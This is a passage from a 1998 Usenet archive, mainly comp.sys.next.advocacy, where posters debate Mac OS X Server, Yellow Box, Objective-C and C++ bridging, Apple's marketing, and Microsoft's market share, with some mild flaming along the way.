vice-versa. For one example of how this is done, take a look at the source
to MiscTableScroll, which uses some C++ objects in the implementation (for
performance, mostly) even though the API it presents to the world is 100%
Objective-C. For another example, there's an old port of xmj to NEXTSTEP
which keeps most of the app's C++ core intact and uses ObjC only for access
to the GUI libraries. So again you can communication going both ways between
the two languages.
What you can't do is have Objective-C subclasses of C++ objects or C++
subclasses of Objective-C objects. And object has to be _either_ C++ _or_ it
can be a mix of Objective-C, Perl, Python, TCL, Java, and WebScript. But
there's a pretty solid line drawn around C++ and the rest--call it a
quarantine if you wish.
Since C++ has such a crippled object model when compared to Objective-C,
there are bound to be some limitations. Mostly the limitations amount to
areas where C++ falls terribly short, and thus it simply can't have as
seamless a bridge between the languages as you get with Apple's and TipTop's
language bridges. ie, the Objective-C object model is a superset of C++'s,
so any bridge that you might try to make beyond what GCC already supports
would be largely ineffective. The other languages are all dynamic enough
that they can be melded with Objective-C; C++ is simply too static.
> > [...TipTop and Objective-Everything...]
> > I'm trying to work on a review of the product for Stepwise. [...].
>
> Heh! I'd like to see that review when you're done with it.
It will turn up on stepwise.com when it is done. I have no idea exactly when
that will be, but I hope I can crank it out and have it up reasonably soon.
Oh, and:
> I'm rather well-informed; how will MIS folks fare when it comes
> time to evaluate the product?
This is a serious problem. Apple needs to learn how to better communicate
why Mac OS X Server is a Good Thing(TM).
Those of us using it understand very well the answer why. Those who don't
often can't see it, perhaps because the advantages, while powerful, are
subtle and take a lot of background to understand. You end up with MIS
selecting other systems that are seriously deficient because they don't
understand the fundamental issues, so some other solution that "looks" about
as good gets the nod when it really can't cut the mustard in reality. It is
analogous to the "cargo cults" after WWII.
I won't claim that learning all about the "YB Advantage" is easy--it's
not--but Apple needs to find a good way to communicate the benefits. I know
it can be done. Right now they're falling short IMHO. Not the least problem
is the fact that they're hardly communicating a damn thing about Mac OS X
Server right now! Look at how anemic the latest Stepwise reports have been;
there's been practically no news of any import related to Mac OS X Server,
and since the report is meant to summarize news, if there is no news, it
suffers...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don/index.html">My home page</a>
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 18:31:49 GMT
Organization: University of Waterloo
Message-ID: <906057108.998411@watserv4.uwaterloo.ca>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com>
Cache-Post-Path: watserv4.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <36014AE5.391275AA@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Gregory H. Anderson wrote:
>
>> 2) The underlying Unix revision level changed, too. There was no /sbin
>> or /usr/sbin in OPENSTEP. Again, not a no-brainer.
>
>Huh? I'm not sure I understand. What changed, exactly? Some files were
>moved about?
Hardly. The creaky 4.3BSD-era stuff that NeXTSTEP/OPENSTEP has had for ages
were replaced with stuff derived from 4.4. This doesn't just mean compiling
a new version of tar but replacement of the standard C libraries, signal
handling code, and tonnes of other stuff. Furthermore, the Unix layer
running under Mach would require some revisions to bring it up to the present.
A fair amount of work, I'd say.
>And still no C++ or Perl or Python bindings, as far as I know. If
>someone were to come up with Perl bindings for Yellow Box, I'd become
>strangely interested in a hurry.
I wonder what the Objective-Tcl folks are doing...didn't they have Perl
bindings?
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com>
<36014AE5.391275AA@ericsson.com> <6trjm8$n5o$1@bartlet.df.lth.se>
Message-ID: <gleM1.6276$MS.16614689@news.rdc1.sdca.home.com>
Date: Thu, 17 Sep 1998 20:32:12 GMT
NNTP-Posting-Date: Thu, 17 Sep 1998 13:32:12 PDT
Organization: @Home Network
In <6trjm8$n5o$1@bartlet.df.lth.se> Christian Brunschen wrote:
> In article <36014AE5.391275AA@ericsson.com>,
> Michael Peck <Michael.Peck@ericsson.com> wrote:
> >Gregory H. Anderson wrote:
> >
> >> I can think of three off the top of my head:
> >Language bindings? This is a significant
> >revision? Perhaps it is functionally relevant, but I'm sorry, there is
> >nothing impressive about adding language bindings to an API.
>
> You seem quite eager to discount a lot of work as 'nothing impressive',
> especially in the light of not knowing the details of what that work
> entails. However, I do not know enough about the details of this myself to
> offer any great insight; suffice it to say that my opinion about the
> impressiveness of the addition of solid, working java bindings differs
> from yours, largely because it is not just a binding to an API, but to the
> actual Objective-C runtime environment, making it possible to take a class
> written in Objective-C, subclass it in Java, and use objects of the
> resulting class in further Objective-C code. (Someone from Apple or with
> insight into the actual development at Apple please correct me if I am
> wrong.)
>
>
Apple needs to demonstrate they can Rev-the-OS AND Fold-In-New functionality
in a timely manner. Without demonstrating that MacOS X delivers such added
value, more people like MP will find ' nothing impressive' over existing
OSes.
Clearly, the API Java wrappers are sweet with OPENSTEP written in O-O Obj-C.
The claim for years has been that the O-O OPENSTEP, was NeXTstep, cum
MacOS X will be able to shorten its "rev cycle" and more quickly modify its
environment than a Microsoft OSen. This revving of the OS was touted as the
major advantage going forward in any OS battle.
If the claims hold-up Apple should be able to rev through major updates
quicker, faster than MS. That'd be 'somethin impressive' MP couldn't
dismiss...
-r
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 19:31:02 +0000
Organization: BM
Message-ID: <6ts5ls$r8h$1@ash.prod.itd.earthlink.net>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com>
<36014AE5.391275AA@ericsson.com> <6trjlb$18r$4@news.xmission.com>
<3601563D.7C573777@ericsson.com> <6ts1u0$18r$5@news.xmission.com>
Mime-Version: 1.0
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In article <6ts1u0$18r$5@news.xmission.com> , don@misckit.com (Don Yacktman)
wrote:
>Not the least problem
>is the fact that they're hardly communicating a damn thing about Mac OS X
>Server right now!
Why do *you* think they are not communicating?
Ziya
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Thu, 17 Sep 1998 17:36:31 -0600
Organization: Prairie Group
Message-ID: <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net>
In article <6trbks$t5r$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
>Jerry M. wrote in message ...
>>In article <dE1M1.481$dZ.471199@newsfeed.slurp.net>, "Dan"
>><dan@knowspaam.com> wrote:
>>
>>> A quick remider to you all...
>>> It is _not_ illegal to have a monopoly.
>>
>>No, but it should be.
>>
>>In fact, just Microsoft should be illegal.
>
>My my my, you are a macsheep! Baaaa.... take away microsoft's constitutional
>rights.... Baaaaaaaaaaaa.....
>
>You should read the constitution someday.
>
And you should read the anti-trust laws.
Donald
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: _Possible_ vague date on OS X Server
Date: 17 Sep 1998 18:20:07 GMT
Organization: Michigan State University
Message-ID: <6trjsn$7an$5@msunews.cl.msu.edu>
References: <tapella-1709981812510001@22w2-1.dyn.pasteur.fr>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: tapella@pasteur.frANCE
In <tapella-1709981812510001@22w2-1.dyn.pasteur.fr> Tapella wrote:
> I went to the Apple Expo here in Paris today for a few hours... basically
> there was almost zero OS X presence. There was only one computer I could
> find with a beta of OS 8.5 even (and it was not in the Apple area).
> Anyway, the _one_ guy who had a Compaq running NT and demoing Web Objects
> said that MacOS X Server would be released in "4 to 5 weeks" and that he
> "has no opinion" on what the price might be. I tried to push him but he
> either didn't want to say what he knew about pricing or actually didn't
> know.
>
> Was pretty amusing when another Apple guy walked up and asked what the
> release date on Rhapsody was going to be and the NT/Web Objects guy was
> said "It's not Rhapsody, call it OS X Server" and then mumbled some sort
> of curse in French (my swearing vocab isn't so great).
>
> I also asked one other person who seemed to be mostly clueless, and he
> said that the release would be in the December-January time frame, but I
> don't remotely trust that judgement because he really didn't know
> anything. The guy who was actually running Web Objects probably has a
> better idea IMO.
>
> So to sum up briefly: I learned nothing new ;) But October seems like a
> pretty good guess.
>
> Rob.
>
> PS The only thing I heard about Jobs' speech was that "it was dumb" so I
> guess he didn't say anything worthwhile, as expected.
What is bad was there was no OS X presence - really bad sign - not that
it won't ship, but that Apple will continue in the good 'ole NeXT tradition
of not hyping up what could be a real NT threat. While they are at it
it will be priced significantly over $200 for the user edition, though
developer including at least a bare WebObjects should be reasonably
priced in the $500 or lower range.
Just my .02
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Thu, 17 Sep 1998 16:55:04 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1709981655050001@hephaestus.eng.uci.edu>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com> <rmcassid-1409981059350001@hephaestus.eng.uci.edu> <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com> <rmcassid-1409982052490001@dialin9181.slip.uci.edu> <KmHL1.6151$MS.15637273@news.rdc1.sdca.home.com> <rmcassid-1609981158580001@hephaestus.eng.uci.edu> <_2YL1.6218$MS.16131090@news.rdc1.sdca.home.com>
In article <_2YL1.6218$MS.16131090@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> My wife depends upon a Series 5 in her medical practice. So I'm well aware
>how important CPU horsepower in the pocket becomes. There is a clear and
>compelling force to get that horsepower connected _wireless_ to the
>enterprise.
Yes, I think the medical community is one of those that could _seriously_
benefit from mobile, wireless, pocket horsepower. Fortunately, they also
typically have the money to make it happen. A rare combination.
>Psion are seeding EPOC the OS into the wireless layer and the opportunities
>are theirs to the enterprise.
We'll keep watching and see what develops. Things still seem really muddy
to me, however. I'm not sure I can explain that better when I'm as tired
as I am. Maybe later.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Thu, 17 Sep 1998 16:58:44 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1709981658440001@hephaestus.eng.uci.edu>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com> <rmcassid-1409981059350001@hephaestus.eng.uci.edu> <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com> <rmcassid-1409982052490001@dialin9181.slip.uci.edu> <GpIL1.6164$MS.15667185@news.rdc1.sdca.home.com> <rmcassid-1609981153440001@hephaestus.eng.uci.edu> <iVXL1.6216$MS.16131090@news.rdc1.sdca.home.com>
In article <iVXL1.6216$MS.16131090@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>I haven't used USB. If they got it engineered right... USB should be the
>definitive solution for crap than hangs off desktops. "Look Ma no Serial
>cards!"... Now what WinXX do with IRQ resolution is another story but the
>cards, jumpers and slots are simplified.
The only problem with USB is that it is slow (relative to today's
demands). Total bandwidth of 12Mb/s will go remarkably quickly, I think.
Especially in a more wired world. Firewire is the proper solution there.
Much faster, hot-swappable, isochronous, it's got it all, baby. I'm glad
Apple was healthy enough to create it for us...
>> Actually, buying cedar shake shingles should provide demand for relatively
>> expensive cedar trees which should encourage planting and protection of
>> cedar trees rather than having the land razed in favor of cows or WalMarts
>> or MS legal offices. Better to buy cedar than pine or some other low-value
>> wood. The goal is to raise the minimum market value of wood, which gives
>> no clear opportunity to just cut stuff down for the land underneath. So go
>> side your house in zebrawood or mahogony. We need some demand for those
>> rainforest trees before they get replaced by cows!
>
>I wonder if that'll parse to Apple et. al.?
I don't know. I was trying when I wrote it but couldn't pull it together.
Of course, I can barely form sentences this week, so maybe something is
there. I don't know. I should eat something.
-Bob Cassidy
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 18 Sep 1998 00:24:45 GMT
Organization: MiscKit Development
Message-ID: <6ts98d$18r$6@news.xmission.com>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com> <6trjlb$18r$4@news.xmission.com> <3601563D.7C573777@ericsson.com> <6ts1u0$18r$5@news.xmission.com> <6ts5ls$r8h$1@ash.prod.itd.earthlink.net>
NNTP-Posting-Date: 18 Sep 1998 00:24:45 GMT
"Ziya Oz" <ZiyaOz@earthlink.net> wrote:
> In article <6ts1u0$18r$5@news.xmission.com> , don@misckit.com (Don
Yacktman)
> wrote:
>
> >Not the least problem
> >is the fact that they're hardly communicating a damn thing about Mac OS X
> >Server right now!
>
> Why do *you* think they are not communicating?
What difference does what I think make?
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don/index.html">My home page</a>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 17:26:11 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1709981726120001@hephaestus.eng.uci.edu>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com> <6trjlb$18r$4@news.xmission.com>
In article <6trjlb$18r$4@news.xmission.com>, don@misckit.com wrote:
>I'm trying to work on a review of the product [Objective-Everything] for
>Stepwise. The biggest
>problem is writing something that sounds objective (pardon the pun). This is
>a great product and it is difficult to be honest about it without sounding
>like a maniac spouting unbelievable hyperbole.
A suggestion: We've had *WAY* too many conversations with Apple and
OpenStep supporters of Mac OS X Server, and YB, and WOF, and EOF, that go
roughly like this:
Interested party: "What does <product xxx> do for me?"
In-the-know party: "Well, what do you want to do? It'll do it."
We get a lot of that for WOF from Apple - apparently there is no single
web<->db thing that WOF can not do according to them. Unfortunately, even
if it is 100% correct, it is:
a) not helpful, because the interested party often doesn't know what the
hell he/she wants to do. If you deal with MS, they _tell_ you what you
want to do, and then you do it. Free thinking isn't part of the process.
b) totally unbelievable. If you've ever dealt primarily with MS, or Apple
of old, or the Java crowd, you've learned that "It'll do anything you
want" means "It'll do cool stuff, but probably not at all what I want or
how I want it".
Examples, examples, examples. Useful, interesting, examples that people
can extrapolate from.
-Bob Cassidy
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 19:32:15 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3601AA0F.EA63E4A@nstar.net>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com> <6trjlb$18r$4@news.xmission.com> <3601563D.7C573777@ericsson.com> <6ts1u0$18r$5@news.xmission.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 18 Sep 1998 00:33:46 GMT
Don Yacktman wrote:
> Of course. Your C++ objects can send messages to ObjC objects, and
> vice-versa. [cut]
Ah, then I was mistaken.
> What you can't do is have Objective-C subclasses of C++ objects or C++
> subclasses of Objective-C objects. And object has to be _either_ C++ _or_ it
> can be a mix of Objective-C, Perl, Python, TCL, Java, and WebScript. But
> there's a pretty solid line drawn around C++ and the rest--call it a
> quarantine if you wish.
I see.
[cut]
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Thu, 17 Sep 1998 19:33:00 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3601AA3C.CB1DB927@nstar.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 18 Sep 1998 00:34:32 GMT
Donald Brown wrote:
> >You should read the constitution someday.
> >
> And you should read the anti-trust laws.
Mmmmm, the Constitution versus the antitrust laws. I like that matchup.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 19:37:19 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3601AB3F.27BC090D@nstar.net>
References: <6trjlb$18r$4@news.xmission.com> <6trkao$bmg@shelob.afs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 18 Sep 1998 00:38:50 GMT
Gregory H. Anderson wrote:
> Well, how about it, Mike? You said this would interest you in a hurry.
> Are you going to give YB a try now?
Yep. When I can buy it off of the shelf, I will buy MacOS X Server and
learn to program in the Yellow Box environment. Wouldn't it be sort of
head-in-the-sand to ignore a major new operating system *and*
development environment? I'd love to get my hands on Yellow Box.
I don't think I've ever been very critical of Yellow Box. I'm sure
you've noticed that I've argued for Apple to release Yellow Box
cross-platform so that those of us who work with other platforms can
enjoy its benefits. I've been upset for some time that becoming a true
believer has such high barriers to entry. Wouldn't it be nice if Yellow
Box were the development environment for "the rest of us"?
[cut]
MJP
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 17 Sep 1998 17:31:27 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6ts9ml$3iv$1@ash.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <6trboh$u$1@birch.prod.itd.earthlink.net> <stevehix-1709981049210001@192.168.1.10>
Steve Hix wrote in message ...
>In article <6trboh$u$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>> Sal Denaro wrote in message <6tprgt$7ul@news1.panix.com>...
>>
>> >Apple has 5% of the desktop market. Microsoft has over 90%.
>>
>> Wait, that isn't a good compairison. MS makes software, Apple makes
hardware
>> and software.
>
>Microsoft also make hardware.
>
>> Apple has 3% of the market.
>
>Cite?
>
>Current figures have been closer to 5% and rising.
More like dropping! They have been droping for years!!!!!!!
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Thu, 17 Sep 1998 17:30:40 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6ts9la$3hj$1@ash.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com>
Donald Brown wrote in message ...
>In article <6trbks$t5r$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>>Jerry M. wrote in message ...
>>>In article <dE1M1.481$dZ.471199@newsfeed.slurp.net>, "Dan"
>>><dan@knowspaam.com> wrote:
>>>
>>>> A quick remider to you all...
>>>> It is _not_ illegal to have a monopoly.
>>>
>>>No, but it should be.
>>>
>>>In fact, just Microsoft should be illegal.
>>
>>My my my, you are a macsheep! Baaaa.... take away microsoft's
constitutional
>>rights.... Baaaaaaaaaaaa.....
>>
>>You should read the constitution someday.
>>
>And you should read the anti-trust laws.
But the "anti trust" laws are unconstitutional!!!!!!! The constitution has
superiority over ANY laws. Like I said, read the constitution someday.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: _Possible_ vague date on OS X Server
Date: Thu, 17 Sep 1998 17:33:58 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1709981733580001@hephaestus.eng.uci.edu>
References: <tapella-1709981812510001@22w2-1.dyn.pasteur.fr> <6trjsn$7an$5@msunews.cl.msu.edu>
In article <6trjsn$7an$5@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
>What is bad was there was no OS X presence - really bad sign -
Naw. MacWorld should be renamed iMacWorld, since that's what Apple wants
it to be. WWDC will be OS X/OS X ServerWorld.
I think Malcolm's comment about the dev tools shipping seperately is a
good sign. I think OS X Server might be decently priced, with the tools
picking up the difference.
-Bob Cassidy
Date: Thu, 17 Sep 1998 19:13:06 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <stevehix-1709981913210001@192.168.1.10>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <6trboh$u$1@birch.prod.itd.earthlink.net> <stevehix-1709981049210001@192.168.1.10> <6ts9ml$3iv$1@ash.prod.itd.earthlink.net>
Organization: Close to None
In article <6ts9ml$3iv$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Steve Hix wrote in message ...
> >In article <6trboh$u$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
> ><s124@[REMOVE]earthlink.net> wrote:
> >
> >> Sal Denaro wrote in message <6tprgt$7ul@news1.panix.com>...
> >>
> >> >Apple has 5% of the desktop market. Microsoft has over 90%.
> >>
> >> Wait, that isn't a good compairison. MS makes software, Apple makes
> hardware
> >> and software.
> >
> >Microsoft also make hardware.
> >
> >> Apple has 3% of the market.
> >
> >Cite?
> >
> >Current figures have been closer to 5% and rising.
>
>
> More like dropping! They have been droping for years!!!!!!!
During the past year, Todd, the figures have been rising.
Sort of connected with recent increases in profit levels.
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: Wed, 16 Sep 1998 09:34:52 GMT
Organization: MiCMAC
Message-ID: <EzDEM4.4B5@micmac.com>
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu>
<EzAHE7.4r9@T-FCN.Net> <35FD7387.8E180932@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
NNTP-Posting-Date: 17 Sep 1998 04:37:23 GMT
Cc: Michael.Peck@ericsson.com
This was written in comp.sys.next.advocacy
(<35FD7387.8E180932@ericsson.com>) by Michael Peck:
> Maury Markowitz wrote:
>
> > Truely sad to see Mike, this isn't even defendable FUD, it's just
pathetic.
> > I'd expect such "press culling" from PC wienies, but from you it makes
my
> > stomache turn.
>
> We have Maury's opinion, for what that's worth.
>
> MJP
>
It's time to inform you that since quite a long time my newsreader adds
automatically the following tag to your name: "asshole"
mc
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 17 Sep 1998 19:28:26 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6tsgi6$ddk$1@fir.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <6trboh$u$1@birch.prod.itd.earthlink.net> <stevehix-1709981049210001@192.168.1.10> <6ts9ml$3iv$1@ash.prod.itd.earthlink.net> <stevehix-1709981913210001@192.168.1.10>
Steve Hix wrote in message ...
>In article <6ts9ml$3iv$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>> Steve Hix wrote in message ...
>> >In article <6trboh$u$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
>> ><s124@[REMOVE]earthlink.net> wrote:
>> >
>> >> Sal Denaro wrote in message <6tprgt$7ul@news1.panix.com>...
>> >>
>> >> >Apple has 5% of the desktop market. Microsoft has over 90%.
>> >>
>> >> Wait, that isn't a good compairison. MS makes software, Apple makes
>> hardware
>> >> and software.
>> >
>> >Microsoft also make hardware.
